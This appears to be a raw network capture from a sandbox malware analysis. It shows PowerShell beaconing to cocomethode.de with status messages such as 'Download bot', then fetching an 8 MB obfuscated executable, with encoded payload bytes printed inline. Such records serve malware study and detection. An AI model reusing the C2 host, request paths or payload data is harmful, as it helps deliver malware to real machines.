cfL4;desc="?proto=TCP&rtt=44&min_rtt=39&rtt_var=18&sent=6&recv=8&lost=0&retrans=0&sent_bytes=13172&recv_bytes=1667&delivery_rate=1336387755&cwnd=208&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=61&min_rtt=61&rtt_var=24&sent=3&recv=5&lost=0&retrans=0&sent_bytes=5925&recv_bytes=1247&delivery_rate=1007430769&cwnd=112&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:44:15 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 38 31 35 26 6d 69 6e 5f 72 74 74 3d 31 31 33 37 30 32 26 72 74 74 5f 76 61 72 3d 32 34 31 37 34 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 35 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 30 33 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 35 35 36 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 62 63 66 39 64 37 30 33 65 32 61 35 63 66 61 61 26 74 73 3d 36 30 34 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113815&min_rtt=113702&rtt_var=24174&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1003&delivery_rate=33556&cwnd=252&unsent_bytes=0&cid=bcf9d703e2a5cfaa&ts=604&x=0"
2024-12-11 11:44:15 UTC	1199	IN	Data Raw: 25 74 69 7b 6a 6f 67 78 60 62 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 52 46 53 34 58 57 69 52 63 44 79 59 60 49 5b 6b 4c 30 47 6f 52 56 34 4e 63 46 4b 75 54 56 65 68 53 7b 6d 74 52 56 71 7b 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 42 52 57 65 73 4e 57 47 59 53 59 53 69 57 57 5b 56 57 54 38 32 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 48 5b 49 6d 69 56 47 4b 72 55 47 65 6e 65 6c 4c 7b 54 56 65 4b 63 54 34 7b 56 6d 65 46 64 54 6d 49 64 49 5b 60 64 54 6a 32 53 47 47 77 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 6a 65 6a 62 33 48 78 52 6c 69 68 53 49 43 55 57 45 40 79 Data Ascii: %ti{jogx`b<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#RFS4XWiRcDyY`I[kL0GoRV4NcFKuTVehS{mtRVq{UjOqPVeKP1GoRTOBRWesNWGYSYSiWW[VWT82LDuKP1GoRTOC[1mH[ImiVGKrUGenelL{TVeKcT4{VmeFdTmIdI[`dTj2SGGw[1mEPVeKP1GoRjejb3HxRlihSICUWE@y
2024-12-11 11:44:15 UTC	1369	IN	Data Raw: 52 6d 53 56 55 6d 6d 52 57 55 6d 58 52 54 4f 4a 53 6c 4b 58 50 6b 43 6d 54 31 4b 75 58 57 65 35 63 44 6d 49 55 6f 6d 60 57 31 58 76 56 6d 65 53 5b 30 6d 58 54 55 5b 4b 50 30 4b 75 58 57 65 35 63 47 57 49 53 6b 43 69 50 31 6d 4e 50 33 62 76 52 31 6d 45 50 56 65 4b 50 31 30 6f 57 56 30 56 4c 46 53 58 52 6f 57 4b 52 47 4b 77 56 6d 4f 42 63 56 47 59 64 46 79 4b 52 44 4b 6e 5b 44 65 6f 55 6a 4f 71 50 56 65 4b 50 31 4b 34 56 6d 69 52 4c 56 4f 75 4f 46 65 4a 53 30 71 76 58 6a 65 56 54 57 6d 58 54 6c 38 44 54 59 40 34 53 47 47 77 55 6a 4f 6f 4c 44 75 56 4c 57 5b 50 54 30 54 79 57 47 65 47 57 6d 43 56 64 54 47 71 58 33 34 56 65 56 4b 75 63 49 57 60 64 54 6a 32 53 47 47 76 53 46 4f 75 57 6c 69 6a 53 30 57 31 54 6d 62 79 65 33 53 48 63 47 57 60 57 7b 47 32 57 6a 65 Data Ascii: RmSVUmmRWUmXRTOJSlKXPkCmT1KuXWe5cDmIUom`W1XvVmeS[0mXTU[KP0KuXWe5cGWISkCiP1mNP3bvR1mEPVeKP10oWV0VLFSXRoWKRGKwVmOBcVGYdFyKRDKn[DeoUjOqPVeKP1K4VmiRLVOuOFeJS0qvXjeVTWmXTl8DTY@4SGGwUjOoLDuVLW[PT0TyWGeGWmCVdTGqX34VeVKucIW`dTj2SGGvSFOuWlijS0W1Tmbye3SHcGW`W{G2Wje
2024-12-11 11:44:15 UTC	1369	IN	Data Raw: 6d 5b 30 58 6c 30 72 65 57 71 34 50 55 6d 4b 50 30 48 76 58 33 34 56 63 44 38 32 4c 44 75 6c 54 55 43 4d 52 54 44 76 52 33 47 59 56 56 38 4a 53 33 79 37 57 56 34 56 65 56 4b 75 63 49 57 60 64 54 47 31 56 6d 69 47 5b 31 71 49 56 6c 69 68 52 44 34 72 52 30 4f 42 4f 31 53 53 63 33 65 4b 50 31 47 6f 57 6b 47 56 54 47 4f 57 4c 57 53 59 53 57 5b 50 57 6f 6d 43 60 57 53 75 4e 55 43 4b 53 6a 6e 79 58 6c 31 30 62 46 4b 75 58 33 65 55 57 7b 53 6f 5b 44 65 6e 62 46 4f 34 50 6c 79 68 63 6d 71 76 58 33 31 34 65 47 71 59 4f 55 43 4b 5b 7b 43 4d 52 54 4f 43 5b 31 6d 49 57 6b 53 69 56 47 44 32 53 47 47 76 4e 54 53 53 63 31 34 45 63 57 6e 79 58 6c 30 4e 4c 46 47 59 4e 59 57 4b 53 54 34 33 58 6c 34 60 63 46 4f 74 54 59 53 52 63 56 79 7b 56 6d 5b 6a 62 46 53 49 60 47 6d 68 Data Ascii: m[0Xl0reWq4PUmKP0HvX34VcD82LDulTUCMRTDvR3GYVV8JS3y7WV4VeVKucIW`dTG1VmiG[1qIVlihRD4rR0OBO1SSc3eKP1GoWkGVTGOWLWSYSW[PWomC`WSuNUCKSjnyXl10bFKuX3eUW{So[DenbFO4PlyhcmqvX314eGqYOUCK[{CMRTOC[1mIWkSiVGD2SGGvNTSSc14EcWnyXl0NLFGYNYWKST43Xl4`cFOtTYSRcVy{Vm[jbFSI`Gmh
2024-12-11 11:44:15 UTC	1369	IN	Data Raw: 71 57 52 6b 57 6a 53 30 5b 37 52 30 44 76 52 31 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 46 5b 47 5b 54 4c 46 79 4e 57 55 47 6e 53 6d 50 79 58 33 65 4b 63 47 4b 77 56 6d 4f 42 63 56 47 59 64 46 79 4b 50 30 4b 4a 58 6c 34 42 4c 56 53 47 56 6f 43 68 53 30 5b 53 56 57 69 52 63 31 6d 48 5b 46 69 6b 64 54 4b 32 58 33 31 34 60 6d 71 58 55 6f 71 60 57 30 47 6f 56 57 62 30 60 31 6d 48 55 6c 69 6a 63 57 5b 73 52 54 65 46 64 6a 6d 45 54 6d 43 6a 56 47 4b 32 5b 47 69 52 53 33 47 59 64 46 79 57 53 31 58 76 58 54 4f 4b 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 33 4f 75 57 6b 43 6a 56 44 71 30 52 54 4f 52 4c 46 4f 74 57 6c 79 44 54 56 38 6f 52 54 4f 43 5b 33 5b 55 50 6c 71 5b 56 47 4b 70 58 54 4f 42 4f 31 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b Data Ascii: qWRkWjS0[7R0DvR1SSc3eKP1GoRTOC[1mF[G[TLFyNWUGnSmPyX3eKcGKwVmOBcVGYdFyKP0KJXl4BLVSGVoChS0[SVWiRc1mH[FikdTK2X314`mqXUoq`W0GoVWb0`1mHUlijcW[sRTeFdjmETmCjVGK2[GiRS3GYdFyWS1XvXTOKUjOqPVeKP1GoRTOC[3OuWkCjVDq0RTORLFOtWlyDTV8oRTOC[3[UPlq[VGKpXTOBO1SSc3eKP1GoRTOC[
2024-12-11 11:44:15 UTC	1369	IN	Data Raw: 6f 52 54 4f 43 5b 31 6d 45 50 6b 43 6b 63 6c 76 32 53 47 47 77 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 57 63 57 5b 31 58 6b 4f 60 63 44 79 57 63 45 43 60 57 7b 43 6f 55 47 5b 42 60 46 53 49 5b 33 65 4a 53 30 4b 72 58 7b 4f 52 62 46 4b 75 53 6b 43 69 57 7b 6d 30 55 32 62 76 52 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 66 76 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 42 60 6d 6d 58 54 6c 71 69 52 49 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 30 58 79 57 6d 43 55 57 55 47 54 57 31 57 56 54 47 5b 34 50 56 6d 52 63 56 Data Ascii: oRTOC[1mEPkCkclv2SGGwUjOqPVeKP1GoRTOC[1mEPVeKP1GoRTOC[1mEPVeWcW[1XkO`cDyWcEC`W{CoUG[B`FSI[3eJS0KrX{ORbFKuSkCiW{m0U2bvR1mEPVeKP1GoRTOC[1mEPVeKP1GoRTfvUjOqPVeKP1GoRTOC[1mEPVeKP1GoRTOB`mmXTlqiRIONP3mC[1mEPVeKP1GoRTOC[1mEPVeKP1GoRTOC[0XyWmCUWUGTW1WVTG[4PVmRcV
2024-12-11 11:44:15 UTC	1369	IN	Data Raw: 50 56 65 57 63 57 5b 31 58 6b 4f 60 63 44 79 57 63 45 43 60 57 7b 43 6f 55 47 5b 42 60 46 53 49 5b 33 65 4a 52 47 4b 72 58 6d 69 42 53 33 47 59 64 46 79 4b 50 7b 47 49 58 6b 4f 4a 60 6d 71 53 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 5b 6d 4f 42 63 46 4b 48 55 6c 79 4b 52 49 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 4b 58 57 6d 54 34 52 6d 53 56 55 6d 6d 52 57 55 6d 58 52 54 4f 4a 53 56 48 7b 5b 49 57 68 53 7b 6d 6e 56 6a 4f 42 63 57 6d 59 63 49 4f 60 57 30 44 33 52 54 4f 52 4c 56 4f 75 65 33 6d 44 54 56 38 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 42 4e 54 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 48 4c 44 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d Data Ascii: PVeWcW[1XkO`cDyWcEC`W{CoUG[B`FSI[3eJRGKrXmiBS3GYdFyKP{GIXkOJ`mqSLDuKP1GoRTOC[1mEPVeKP1Go[mOBcFKHUlyKRIONP3mC[1mEPVeKP1GoRTOC[1mEPVeKP1KXWmT4RmSVUmmRWUmXRTOJSVH{[IWhS{mnVjOBcWmYcIO`W0D3RTORLVOue3mDTV8oRTOC[1mEPVeKP1GoRTOBNTSSc3eKP1GoRTOC[1mHLD4E`TGoRTOC[1m
2024-12-11 11:44:15 UTC	1369	IN	Data Raw: 54 4f 43 5b 33 5b 53 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 6b 6d 44 54 56 38 6f 52 54 4f 43 5b 33 5b 53 4c 44 75 44 54 56 38 6f 52 54 4f 43 5b 33 47 59 56 56 65 4d 50 7b 47 30 58 6b 4f 53 5b 31 71 49 54 6f 5b 6a 4c 6b 57 7b 58 6b 4b 46 60 30 54 7b 57 6c 71 5b 4c 6d 5b 72 56 6a 65 56 60 31 75 55 50 6b 65 44 54 56 38 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 53 6c 53 56 57 45 43 72 55 6d 54 79 60 44 5b 54 4c 56 4f 6f 52 56 75 52 65 6c 50 78 4f 59 4f 68 4c 6a 5b 73 52 54 65 60 60 46 47 59 64 46 79 60 50 31 4b 6e 56 6c 34 52 63 46 4f 71 50 56 75 68 57 31 58 31 57 56 30 56 4c 46 4f 75 63 46 79 6b 64 54 4b 34 56 6d 69 52 64 56 47 59 57 6f 71 4c 60 54 6d 4e 50 33 6d 43 5b 31 6d 45 50 6b 6d 44 54 59 40 34 53 47 47 76 56 47 5b 57 4e 54 71 54 57 6a 34 5b Data Ascii: TOC[3[SLDuKP1GoRTOC[1mEPkmDTV8oRTOC[3[SLDuDTV8oRTOC[3GYVVeMP{G0XkOS[1qITo[jLkW{XkKF`0T{Wlq[Lm[rVjeV`1uUPkeDTV8oRTOC[1mEPVeKSlSVWECrUmTy`D[TLVOoRVuRelPxOYOhLj[sRTe``FGYdFy`P1KnVl4RcFOqPVuhW1X1WV0VLFOucFykdTK4VmiRdVGYWoqL`TmNP3mC[1mEPkmDTY@4SGGvVG[WNTqTWj4[
2024-12-11 11:44:15 UTC	1369	IN	Data Raw: 65 44 54 56 38 73 58 7b 4b 56 4c 46 53 49 63 49 57 60 4c 31 30 6f 54 47 4f 42 55 30 71 58 58 32 53 57 4c 6a 34 77 56 6d 65 52 4c 56 4b 49 57 6c 75 56 53 31 5b 37 58 55 47 4e 63 46 53 48 54 6f 43 68 63 56 53 37 57 55 4b 56 4c 44 6d 45 4c 54 4b 68 53 32 69 33 5b 45 47 4e 4c 47 6d 58 52 6b 43 55 57 30 71 50 58 6c 75 4a 60 46 53 48 54 6c 79 6b 63 56 79 72 58 32 6d 43 65 47 4b 49 4e 59 57 6a 53 6a 35 76 58 6b 4f 42 52 6d 71 73 5b 49 5b 69 57 7b 57 74 57 45 48 30 50 30 6d 58 54 6b 43 60 56 44 71 76 56 6d 69 4f 4f 31 53 53 62 47 5b 68 63 6a 71 72 56 6b 4b 72 64 6c 53 49 57 6f 6d 4c 57 6a 34 70 58 54 65 56 60 33 53 59 64 46 79 60 53 6d 4b 6e 58 7b 4b 7b 5b 31 79 56 54 6c 69 6b 4c 6f 53 51 56 57 62 79 63 44 6d 45 52 6b 5b 57 4c 6d 5b 34 5b 46 30 72 60 6d 71 59 55 Data Ascii: eDTV8sX{KVLFSIcIW`L10oTGOBU0qXX2SWLj4wVmeRLVKIWluVS1[7XUGNcFSHToChcVS7WUKVLDmELTKhS2i3[EGNLGmXRkCUW0qPXluJ`FSHTlykcVyrX2mCeGKINYWjSj5vXkOBRmqs[I[iW{WtWEH0P0mXTkC`VDqvVmiOO1SSbG[hcjqrVkKrdlSIWomLWj4pXTeV`3SYdFy`SmKnX{K{[1yVTlikLoSQVWbycDmERk[WLm[4[F0r`mqYU
2024-12-11 11:44:15 UTC	1348	IN	Data Raw: 34 75 57 55 47 5b 4c 6d 71 75 55 30 53 57 4f 54 34 75 52 6c 69 51 53 44 6d 37 56 57 65 47 4c 54 30 75 53 6c 30 5b 57 47 47 32 56 57 53 6f 65 30 6d 37 54 55 47 4f 53 44 6d 32 56 56 71 43 65 31 30 54 53 59 65 60 57 31 5b 70 55 30 65 4f 60 54 38 32 4c 44 75 4b 50 31 47 6f 52 54 65 72 63 54 75 45 54 6c 34 68 53 7b 6d 71 56 57 65 32 4f 6d 57 73 4e 54 34 56 53 59 53 4f 54 33 79 60 53 47 53 45 4f 59 4f 60 57 7b 57 74 5b 44 65 6f 5b 31 79 59 5b 45 43 4b 53 44 47 76 53 47 47 77 5b 31 6d 45 50 56 65 6d 65 7b 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 73 56 6b 4b 35 65 6d 6d 75 53 6f 4f 51 63 44 71 50 57 47 5b 52 55 47 53 47 62 47 65 53 4c 49 65 6f 52 32 6e 76 5b 31 6d 71 4c 49 53 4c 54 7b 43 31 55 47 4c 76 65 44 79 55 4c 46 6d 51 65 7b 43 4d 52 54 4f 43 5b Data Ascii: 4uWUG[LmquU0SWOT4uRliQSDm7VWeGLT0uSl0[WGG2VWSoe0m7TUGOSDm2VVqCe10TSYe`W1[pU0eO`T82LDuKP1GoRTercTuETl4hS{mqVWe2OmWsNT4VSYSOT3y`SGSEOYO`W{Wt[Deo[1yY[ECKSDGvSGGw[1mEPVeme{CMRTOC[1mEPVeKP1GsVkK5emmuSoOQcDqPWG[RUGSGbGeSLIeoR2nv[1mqLISLT{C1UGLveDyULFmQe{CMRTOC[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.30	49754	104.21.1.51	443	5508	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:16 UTC	285	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 140
2024-12-11 11:44:16 UTC	140	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 72 75 6e 6e 69 6e 67 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 45 6d 70 74 79 20 66 69 6c 65 20 63 72 65 61 74 65 64 20 61 74 3a 20 43 3a 5c 5c 5c 5c 55 73 65 72 73 5c 5c 5c 5c 44 79 6c 61 6e 65 5c 5c 5c 5c 41 70 70 44 61 74 61 5c 5c 5c 5c 4c 6f 63 61 6c 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 65 6d 70 74 79 2e 74 78 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"running\"", "\"Empty file created at: C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Temp\\\\empty.txt\"", "----------"]
2024-12-11 11:44:17 UTC	1212	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:16 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YG6MTjICtfXRr0qBX0EdYCt6SnD1Nk6iQ3%2FuvufKXsUHZitF%2Fisjze%2F%2BqViWEZ1zhvzs%2FXn9Zbmdoxrf7HobGPfSnSgtQDe2mLlrT7DCUPPpaq%2FtnzDHVlY6GGlsVG7w0%2FZAwl54qQhh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=23079&min_rtt=1044&rtt_var=25435&sent=67&recv=62&lost=0&retrans=0&sent_bytes=43660&recv_bytes=26114&delivery_rate=10571198&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0538c83d48bca2-ATL server-timing: cfL4;desc="?proto=TCP&rtt=47&min_rtt=39&rtt_var=18&sent=9&recv=11&lost=0&retrans=0&sent_bytes=26418&recv_bytes=2347&delivery_rate=1336387755&cwnd=209&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113922&min_rtt=113870&rtt_var=24101&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1085&delivery_rate=33591&cwnd=251&unsent_bytes=0&cid=cded1035eac6999e&ts=593&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.30	49758	104.21.1.51	443	5508	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:28 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 69
2024-12-11 11:44:28 UTC	69	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 53 6c 65 65 70 20 31 30 73 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 44 6f 77 6e 6c 6f 61 64 20 62 6f 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Sleep 10s\"", "\"Download bot\"", "----------"]
2024-12-11 11:44:29 UTC	1207	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:28 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q94V7IlIv3JqSvJyKbOlPaNg%2BTb15SEXO53u2RCAIBakBTuatYGUpUXMLr3r24%2BxJHlIezLs1Aqtcb5zkXfrJX4No09HnLwTLFPLsQH1n19MQ%2ByzCK7ca%2Fq%2FgPxkp7L61crSgT50xHFF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=27027&min_rtt=1044&rtt_var=27606&sent=76&recv=70&lost=0&retrans=0&sent_bytes=46419&recv_bytes=28279&delivery_rate=10571198&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f053912ff86bf84-ATL server-timing: cfL4;desc="?proto=TCP&rtt=74&min_rtt=49&rtt_var=30&sent=7&recv=9&lost=0&retrans=0&sent_bytes=14197&recv_bytes=1829&delivery_rate=1336387755&cwnd=207&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113932&min_rtt=113874&rtt_var=24121&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1013&delivery_rate=33553&cwnd=252&unsent_bytes=0&cid=71b05123935170fa&ts=587&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.30	49759	104.21.1.51	443	5508	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:29 UTC	333	OUT	GET /file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4613132176855e90827b93484d9303b9e360e0312cee54aa3cf6665282a09eba8222b906c8149f28e41ff30a4ef5b48c5503cc241b4591a2667faf3adb HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de
2024-12-11 11:44:30 UTC	1300	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:30 GMT Content-Type: application/octet-stream Content-Length: 8357376 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IH%2B5g30%2F5Uyqmcl57iw%2BdeXUeTRKo6GqDsFyxlScoqWvJRIiokaxG37Em6GnrZbQXC1ShgaPXe6mE%2FEzQTNEZ57gATvqb0wcJmj3A0piodcndChZlTGd8ymGiTK8CBv%2FSGrd%2BN%2BalXHM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2668&min_rtt=1035&rtt_var=358&sent=27096&recv=11890&lost=0&retrans=0&sent_bytes=38707427&recv_bytes=141835&delivery_rate=35053514&cwnd=240&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0539185b79672f-ATL server-timing: cfL4;desc="?proto=TCP&rtt=44&min_rtt=44&rtt_var=22&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=607&delivery_rate=0&cwnd=243&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=43&min_rtt=43&rtt_var=21&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=595&delivery_rate=0&cwnd=117&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:44:30 UTC	416	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 30 26 6d 69 6e 5f 72 74 74 3d 34 30 26 72 74 74 5f 76 61 72 3d 32 30 26 73 65 6e 74 3d 31 26 72 65 63 76 3d 33 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 72 65 63 76 5f 62 79 74 65 73 3d 35 38 38 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 30 26 63 77 6e 64 3d 31 31 36 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 35 38 38 26 6d 69 6e 5f 72 74 74 3d 31 31 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=40&min_rtt=40&rtt_var=20&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=588&delivery_rate=0&cwnd=116&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=113588&min_rtt=11
2024-12-11 11:44:30 UTC	1022	IN	Data Raw: 4c 5b 91 01 02 01 01 01 05 01 01 01 fe fe 01 01 b9 01 01 01 01 01 01 01 41 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 e9 01 01 01 0f 1e bb 0f 01 b5 08 cc 20 b9 00 4d cc 20 55 69 68 72 21 71 73 6e 66 73 60 6c 21 62 60 6f 6f 6e 75 21 63 64 21 73 74 6f 21 68 6f 21 45 4e 52 21 6c 6e 65 64 2f 0c 0c 0b 25 01 01 01 01 01 01 01 ac bf 76 f8 e8 de 18 ab e8 de 18 ab e8 de 18 ab e1 a6 8b ab e6 de 18 ab 98 5f 19 aa fb de 18 ab e8 de 19 ab 98 df 18 ab f8 5a 1b aa fa de 18 ab f8 5a 1c aa d1 de 18 ab e8 de 18 ab e9 de 18 ab f8 5a 1d aa 9e de 18 ab a0 5b 18 aa e9 de 18 ab a0 5b 1a aa e9 de 18 ab 53 68 62 69 e8 de 18 ab 01 01 01 01 01 01 01 01 51 44 01 01 65 87 09 01 99 0f 59 66 01 01 01 01 01 01 01 01 f1 01 23 Data Ascii: L[A M Uihr!qsnfs`l!b`oonu!cd!sto!ho!ENR!lned/%v_ZZZ[[ShbiQDeYf#
2024-12-11 11:44:30 UTC	1369	IN	Data Raw: 01 01 49 8c 04 e8 e4 4f 01 49 8c 0c db e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c2 d9 25 01 49 8c 04 e5 e4 4f 01 49 8c 0c d4 e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 d9 25 01 49 8c 04 06 e7 4f 01 49 8c 0c f9 e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 88 d9 25 01 49 8c 04 0b e7 4f 01 49 8c 0c fa e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 6d d9 25 01 49 8c 04 fc e4 4f 01 49 8c 0c ef e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 4e d9 25 01 49 8c 04 19 e7 4f 01 49 8c 0c 08 e7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 33 d9 25 01 49 8c 04 0a e7 4f 01 49 8c 0c fd e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 14 d9 25 01 49 8c 04 ff e4 4f 01 49 8c 0c ee e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 f9 d6 25 01 49 8c 04 f0 e4 4f 01 49 8c 0c e3 e4 4f 01 49 82 38 01 74 00 c2 Data Ascii: IOIOI8tI%IOIOI8tI%IOIOI8tI%IOIOI8tIm%IOIOI8tIN%IOIOI8tI3%IOIOI8tI%IOIOI8tI%IOIOI8t
